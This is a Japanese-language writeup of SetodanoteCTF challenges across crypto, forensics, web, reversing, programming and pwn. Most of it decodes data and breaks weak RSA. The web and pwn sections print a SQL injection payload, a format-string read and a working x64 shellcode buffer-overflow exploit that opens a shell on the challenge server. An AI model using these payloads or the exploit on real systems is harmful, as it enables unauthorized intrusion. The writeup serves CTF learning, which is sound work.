SetodanoteCTF Writeup

解いた問題のWriteupです。問題数が多いので、書き漏らしとかもあるかもだし、あんまり解説っぽくはないですが、誰かの参考になれば。 5850点で68位でした。

Misc

Welcome

指示通りにやるだけ、ようこそCTFへ flag{Enjoy_y0ur_time_here!}

Hash

Hashmyfilesを使って探して終わり pass024.txtとpass034.txtとpass079.txt

flag{hardest_logic_puzzle}

F

Brainf**k

flag{Don't_Use_the_F-Word!!}

Nothing

空白とかが多いのでWhitespaceっぽいと思ったら、その通りだった。

flag{And_Then_There_Were_None}

i_knew_it

アセンブリに100h(256)があって配列初期化、最終的にxorしてるのでRC4

flag{RC4}

Network

Host

Wiresharkで見るだけ

flag{ctf.setodanote.net}

tkys_never_die

HTTP通信とflag.pngをやり取りしているのが見える。Wiresharkの機能で書き出せばflag

flag{a_treasure_trove}

echo_request

ICMPパケットのデータで1byteずつ送信してる

flag{ICMP_Tunneling_T1095}

T1095 はAtt&CKのTechnique

Digdig

Digで問い合わせている部分のhexを読み解く。 005aa0 のあとの2桁が順番

flag{DNS_S3cur17y_T1071!}

Logger

USBのデータを書き出して、打ち込まれたデータを確認する。 PostFailはShift Keyの意味。詳細はこちらを参考にしてもらえれば

newmap = {
2: "PostFail",
4: "a",
5: "b",
6: "c",
7: "d",
8: "e",
9: "f",
10: "g",
11: "h",
12: "i",
13: "j",
14: "k",
15: "l",
16: "m",
17: "n",
18: "o",
19: "p",
20: "q",
21: "r",
22: "s",
23: "t",
24: "u",
25: "v",
26: "w",
27: "x",
28: "y",
29: "z",
30: "1",
31: "2",
32: "3",
33: "4",
34: "5",
35: "6",
36: "7",
37: "8",
38: "9",
39: "0",
40: "\n",
41: "esc",
42: "del",
43: "   ",
44: " ",
45: "-",
47: "{",
48: "}",
55: ".",
56: "/",
57: "CapsLock",
79: "RightArrow",
80: "LetfArrow"
}
myKeys = open('hexoutput.txt')
i = 1
res=''
for line in myKeys:
    bytesArray = bytearray.fromhex(line.strip())
    #print "Line Number: " + str(i)
    for byte in bytesArray:
        if byte != 0:
            keyVal = int(byte)
            if keyVal in newmap:
            #print "Value map : " + str(keyVal) + " — -> " + newmap[keyVal]
                print(newmap[keyVal])
                print(bytesArray)
                res += newmap[keyVal]
            else:
                print("No map found for this value: " + str(keyVal))

print(res)
    #print format(byte, ‘02X’)
#PostFailPostFailoPostFailne popular bbuut unverified explanatindeloonn for the #PostFailPostFailqPostFailPostFailwPostFailPostFailePostFailPostFailrPostFailPostFailtPostFailPostFailPostFailyPostFail arrangement is that it wwaas designed to reduce #the likelihood of flagPostFailPostFail{PostFailPostFailPostFailqPostFailPostFailwPostFailPostFailePostFailPostFailPostFail-PostFailkeyb0ardPostFailPostFail-#PostFailPostFailPostFailrPostFailPostFailtPostFailPostFailyPostFailPostFail}PostFail internal clashhiing of typebarddels by placing commonly usseed combinatiiooonns #of letters farther froomm each oher inside the machine.

flag{QWE_keyb0ard_RTY}

Web

Body

ソースコードにflag

Header

HTTPヘッダ、x-setodanotectf-flag にフラグ

BurpやらWiresharkやらでみておけばOK

flag{Just_a_whisper}

puni_puni

punycodeと呼ばれるもの、デコードすると下記の通り

フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
シー、オー、ディー、イー、よん、よん、です.
カタカナ表記は半角英小文字に、
ひらがな表記は半角数字にしたものがフラグです.
なお、読点は区切り文字なので取り除いてください.

flag{33punycode44}

Mistake

よくわからんなーとディレクトリトラバーサルでも探すかと思ってimagesフォルダみたらflagがあった。

flag{You_are_the_Laughing_Man,_aren't_you?}

tkys_royale

SQLiっぽいと思って適当に入力したら、エラーとクエリを教えてくれた。 適当にコメントをつけたらおしまい。よくみたらMySQLって教えてくれてた。

pass' or 1=1; #

flag{SQLi_with_b1rds_in_a_b34utiful_landscape}

Estimated

お詫びの記事に不適切な画像、そして記事が昨日(20210603)ということがわかる。

題意通りに推測して images/20210602001b.jpgにアクセスするとflagが見える。

flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}

Redirect

ソースコードを見るとgoogleとかがrefererの場合遷移する仕組み、ビジター詐欺とかで使われる手口

リダイレクトの内容はFiddlerなりBurpなりを使ってみていく。

途中でcallback=getFlagにする必要があるのがわかるのでそのようにするとFlag

flag{Analyz1ng_Bad_Red1rects}

OSINT

tkys_with_love

c6df6で検索すると船が出てくるのでそれがflag Callsignは船のことらしい

flag{Symphony_of_the_Seas}

tkys_eys_only

画像に緯度経度があるのでそれを読み取る。 国連っぽいところなのが分かるので、それが回答

flag{United_Nations}

Ropeway

見たことあるなー、そこそこ大きい湖、観覧車これはもしや舘山寺では?と思って入力したらflagだった。

flag{kanzanji}

Crypto

base64

題意通りbase64すれば答え

flag{It's_called_base64!}

ROT13

これも題意通りROT13すれば答え

flag{Even_you_Brutus?}

pui_pui

16進文字列っぽいのでCyberchefのFrom Hexを使うとflagが見える。

flag{Have_you_ever_heard_of_Hexdump?}

tkys_secret_service

ROT13かませるとCUIという文字が出てくるのと、Controlledっぽい文字が見える。 このCUIはControlled Unclassified Informationの略だと思われるので、これが換字式暗号と予想がつく。

pnopnoとかpuipuiっぽい、flagだけわかればいいので、適当にやったら通った。多分アルファベット一文字一文字に対応したマッピングはできると思うよ。

flag{puipui_car_of_mol}

lets_bake

Base64っぽい文字列と]b2[sで分けられている。 サイバーシェフのレシピなんだろうということで、]b2[sで分割してbase64をかけるレシピがわかる。

From_Base64('A-Za-z0-9+/=',true)
From_Hex('None')
Fork('%','_',false)
RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')

Input:NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0 を読み込ませるとflag

flag{hello_baked_cipher}

vul_rsa_01

暗号文c, 公開鍵n,e が与えられている。 Nが大きくないので素因数分解できそうと予想し、msieveを使う。

$ ./msieve -q -v -e 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257


Msieve v. 1.53 (SVN Unversioned directory)
Mon Aug 23 06:55:55 2021
random seeds: 4c03013e d1b9d622
factoring 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 (89 digits)
searching for 15-digit factors
searching for 20-digit factors
searching for 25-digit factors
200 of 214 curves
completed 214 ECM curves
commencing quadratic sieve (89-digit input)
using multiplier of 13
using generic 32kb sieve core
sieve interval: 28 blocks of size 32768
processing polynomials in batches of 8
using a sieve bound of 1532627 (58333 primes)
using large prime bound of 122610160 (26 bits)
using double large prime bound of 362532985427040 (42-49 bits)
using trial factoring cutoff of 49 bits
polynomial 'A' values have 11 factors

sieving in progress (press Ctrl-C to pause)
58758 relations (15937 full + 42821 combined from 617674 partial), need 58429
58758 relations (15937 full + 42821 combined from 617674 partial), need 58429
sieving complete, commencing postprocessing
begin with 633611 relations
reduce to 142194 relations in 11 passes
attempting to read 142194 relations
recovered 142194 relations
recovered 120278 polynomials
attempting to build 58758 cycles
found 58758 cycles in 6 passes
distribution of cycle lengths:
   length 1 : 15937
   length 2 : 11198
   length 3 : 10287
   length 4 : 7903
   length 5 : 5503
   length 6 : 3500
   length 7 : 2072
   length 9+: 2358
largest cycle: 18 relations
matrix is 58333 x 58758 (15.3 MB) with weight 3530463 (60.08/col)
sparse part has weight 3530463 (60.08/col)
filtering completed in 3 passes
matrix is 54234 x 54298 (14.2 MB) with weight 3275850 (60.33/col)
sparse part has weight 3275850 (60.33/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 54186 x 54298 (10.6 MB) with weight 2715063 (50.00/col)
sparse part has weight 2240850 (41.27/col)
using block size 8192 and superblock size 1179648 for processor cache size 12288 kB
commencing Lanczos iteration
memory use: 6.4 MB
lanczos halted after 858 iterations (dim = 54184)
recovered 17 nontrivial dependencies
p43 factor: 3058517013146002381763962882964790715736519
p46 factor: 4372642466716249946441875327733923056149624303
elapsed time 00:16:28

少し時間はかかったが、素因数分解完了。あとは解くだけ。

from Crypto.Util.number import *

p = 3058517013146002381763962882964790715736519
q = 4372642466716249946441875327733923056149624303
phi = (p-1) * (q-1)
e = 65537
c = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335
N = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257

def ex_euclid(x, y):
    c0, c1 = x, y
    a0, a1 = 1, 0
    b0, b1 = 0, 1

    while c1 != 0:
        m = c0 % c1
        q = c0 // c1

        c0, c1 = c1, m
        a0, a1 = a1, (a0 - q * a1)
        b0, b1 = b1, (b0 - q * b1)

    return c0, a0, b0

d = ex_euclid(e, phi)[1]
p = pow(c,d,N)
print(long_to_bytes(p))

flag{weak_rsa_can_be_decrypted!}

vul_rsa_02

先ほどと与えられたものは同一だが、eの値が大きい。 このときはWiener's Attackが使える。

ここから実装をお借りしてsolverを書く。

from Crypto.Util.number import * 
import ContinuedFractions 
import Arithmetic
import RSAwienerHacker

c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681
n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137

d = RSAwienerHacker.hack_RSA(e,n)
print(d)
print(long_to_bytes(pow(c,d,n)))
$ python3 setodanote_vul_rsa2_solve.py 
Hacked!
19780253153570454414022314122363673676673
b'\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'

flag{197_Michael_J_Wiener_673}

WEARESIA

全然わからなかったがCIAという単語からひっかけたらKryptosという暗号の模様。 そんなに長くなく、前半部分はk1と呼ばれるものと一緒だったので飛ばせる。

私は次のサイトを参考にして手動でやった。 The Kryptos Sculpture Solutions

PALIMPSEST
   RCDNKFR =    FLAGISW
HHMKVLLTGB = EARETHENAT
MFDUTMALDU = IONSFIRSTL
MKYQTGLWLW = INEOFDEFEN
CM         = SE

FLAG IS WE ARE THE NATIONS FIRST LINE OF DEFENSE

flag{WEARETHENATIONSFIRSTLINEOFDEFENSE}

Rev

Helloworld

実行して、いわれる通りに入力するとflag

PS > .\helloworld.exe
Nice try, please set some word when you run me.
PS > .\helloworld.exe test
Good job, but please set 'flag' when you run me.
PS > .\helloworld.exe flag
flag{free_fair_and_secure_cyberspace}

flag{free_fair_and_secure_cyberspace}

ELF

fileコマンド等でファイルを調べてみると、raw dataと言われる。

バイナリエディタ等で見ると、先頭4byteがおかしいので、58 58 58 587F 4D 4C 46に書き換えると ELFのバイナリと認識する。

そのまま実行してもよいし、中身を見るとNDIOSZ]FwEICAJIU0x28とXORしてるのがわかるので、それで答えてもよし。

flag{run_makiba}

Passcode

Ghidraで開くと入力した文字列がflagとなる形式だとわかる。 入力した文字列は20150109と比較しているのがわかる。

flag{20150109}

Passcode2

基本はPasscodeと一緒、中身を見ると変数と0x2aでxorしているのがわかるので、 Pythonで計算しておく。

key = [0x18,0x1f,4,0x79,0x4f,0x5a,4,0x18,0x1a,0x1b,0x1e]
res = ''.join([chr(i ^0x2a) for i in key])
print(res)
# 25.Sep.2014

flag{25.Sep.2014}

to_analyze

_CorExeMainを呼び出しているし、TrIdでみると.NETなことがわかる。

> trid.exe .\to_analyze.exe

TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found:  13685
Analyzing...

Collecting data from file: .\to_analyze.exe
 72.5% (.EXE) Generic CIL Executable (.NET, Mono, etc.) (73123/4/13)
 10.4% (.EXE) Win64 Executable (generic) (10525/10/4)
  6.5% (.DLL) Win32 Dynamic Link Library (generic) (6578/25/2)
  4.4% (.EXE) Win32 Executable (generic) (4505/5/1)
  2.0% (.EXE) OS/2 Executable (generic) (2029/13)

dnspyでデバッガ使いながら見ると

C:\Users\321txtディレクトリをチェックする。

ディレクトリを作ってあげればflagが取得可能

Yes, that's the right answer.

flag{Do_y0u_Kn0w_Ursnif?}

flag{Do_y0u_Kn0w_Ursnif?}

Forensic

paint_flag

word開くと書いてあるようにdocxファイルはzipファイル

zip解答するとflagが見つかる

flag{What_m4tters_is_inside;)}

Mail

Sentというファイルを見ると添付ファイルがある、 書き出すとflag

flag{You've_clearly_done_a_good_job_there!!}

Deletedfile

ファイルをTrIDで見てみるとMaster Boot Record dumpと表示される。

> trid .\deletedfile.raw

TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found:  13685
Analyzing...

Collecting data from file: .\deletedfile.raw
100.0% (.) Master Boot Record dump (2/1)

Autopsyで解析すると削除されたファイルの部分でflagが見つかる。

flag{nosce_te_ipsum}

Timeline

dbファイルのactivityのpayloadのところで.txtを見ていくとflagがある。 flag{Th3_Fu7Ure_1s_N0w}

browser_db

問題名通り、ファイルはSQLITEのファイル。

> trid .\stella_9s84jetw.default-release_places.sqlite

TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found:  13685
Analyzing...

Collecting data from file: .\stella_9s84jetw.default-release_places.sqlite
100.0% (.SQLITE/SQLITE3) SQLite 3.x database (15000/1)

SQLITEの中身を見てmoz_placesをみるとflagがある

flag{goosegoosego}

tkys_another_day

exiftoolで見てみるとapngという動く画像ファイルらしい。 pipでapngモジュールがあるのでそれで、画像を取り出してみたらflag

https://github.com/eight04/pyAPNG

flag{a_fake_illness_is_the_most_serious_disease_f5ab7}

CSIRT_asks_you_01

4625,4624のログを見る。 7/19 5:24分ごろまで失敗の履歴があるので、それ以降でログインに成功しているものが不正と考える。

flag{2021/07/18_20:09:21_4624}

Programming

ZZZIPPP

1000回ほどzipされてそう、Pythonでサクッとループを回す。

>>> import zipfile
>>> n = 1000
>>> for i in range(1000):
...     with zipfile.ZipFile('flag' + str(n) + '.zip') as existing_zip:
...             n = n - 1
...             existing_zip.extract('flag' + str(n) + '.zip')

最後flag1.zipを展開したら答え

flag{loop-zip-1989-zip-loop}

echo me

ncすると、数字がかえってくる。何回やればいいかはわからないのでpythonを使うことにする。

>>> import re
>>> import socket
>>> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
>>> s.connect(("10.1.1.10",12020))
>>> while True:
...     msg = s.recv(1024)
...     print(str(msg))
...     if 'flag' in str(msg):
...             break
...     if 'echo me' not in str(msg):
...             continue
...     m = re.search('echo me: ([0-9]+)',str(msg))
...     print(m.group(1))
...     s.send(m.group(1).encode('utf-8') + b'\n')
...

#--snip--
#b'Correct!\n\nflag{Hellow_yamabiko_Yoo-hoo!}\n'

flag{Hellow_yamabiko_Yoo-hoo!}

EZZZIPPP

パスワードzipされたので、ZZZIPPPを適当に修正すればよさそう。

>>> n = 998
>>> for i in range(998):
...     with open("pass.txt","r") as f:
...             pas = f.read().strip()
...     with zipfile.ZipFile('flag' + str(n) + '.zip') as zp:
...             try:
...                     zp.extractall("./",pwd=pas.encode("utf-8"))
...             except RuntimeError as e:
...                     print(e)
...     n = n - 1

flag{bdf574f15645df736df13daef06128b8} 終わってから気づいたけどpass.txtはどんどん上書きされるから、printしとくといいかも

deep_thought

計算する感じ、計算はeval使っとけばいいかなと思ったのでそうした。

>>> import re
>>> import socket
>>> import time
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(("10.1.1.10",12010))
>>> while True:
...     time.sleep(1)
...     msg = s.recv(1024)
...     print(msg.decode('utf-8'))
...     if 'flag' in msg.decode('utf-8'):
...             break
...     m = re.search('\[ Q[0-9]+ \]\n(.*)\n',msg.decode('utf-8'))
...     ans = str(eval(m.group(1)))
...     print("ans = " + ans)
...     s.send(ans.encode('utf-8') + b'\n')
... 
# --snip--
# flag{__42__}

flag{__42__}

Pwn

tkys_let_die

ソースコードみるとgateの変数が上書きできそうなので、それを上書きできるような文字を送り込む

flag{Alohomora}

1989

ncするとCWE-134という文字が表示される。

ソースコードはないが書式文字列のバグがあるのだろうという予想をつける。

入力した文字列を出力するようなプログラムと予想して、投げ込む。

$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x565ed060] >> flag is here << 
        | 

Ready > AAAA%x.%x.%x.%x.%x.%x.%x.%x
Your Inpur : AAAAffed6150.ffed6558.565ea306.41414141.252e7825.78252e78.2e78252e.252e7825

4つめが41414141となっているので、それを呼び出せるようにする。

````

$ nc 10.1.1.10 13030


/ \ \ / / | / | | || |
| | \ \ /\ / /| |
| | ) | || | | | \ \/ \/ / | | || | || <| | | | \ /\ / | | | |) | | |
_
| \/ \/ |
| ||_/ ||


    | 

flag | [0x56656060] >> flag is here << |

Ready > eV.%4$s Your Inpur :eV.flag{Homenum_Revelio_1989} ````

shellcode

x64でshellcodeをbofする問題

import sys,re
import struct
from pwn import *

#addr_buf = int(sys.argv[1], 16)
bufsize = 80

# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = b'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

r = remote('127.0.0.1', 13050)
time.sleep(1)
msg = r.recv(1024)
print(msg.decode('utf-8'))

m = re.search('\[(0x[a-f0-9]+)\]', msg.decode('utf-8'))
print(m.group(1))
addr_buf = int(m.group(1),16)

buf = shellcode
buf += b'A' * (bufsize - len(buf))
buf += b'A' * (8 - len(buf)%8)  # alignment
#buf += b'AAAAAAAA'
buf += struct.pack('<Q', addr_buf)


r.send(buf+b'\n')
print(buf)
r.interactive()
$ python3 exploit.py 
[+] Opening connection to 10.1.1.10 on port 13050: Done
       |
target | [0x7ffdd445a8a0]
       |
Well. Ready for the shellcode?
> 
0x7ffdd445a8a0
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa8E\xd4\xfd\x7f\x00\x00'
[*] Switching to interactive mode
H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa8E\xd4\xfd\x7f
$ id
uid=999(user) gid=999(user) groups=999(user)
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd /home
$ ls
user
$ cd user
$ ls
flag
shellcode
$ cat flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

おわりに

中期間という取り組みやすいCTFを開催していただき@soji256さん、ありがとうございました。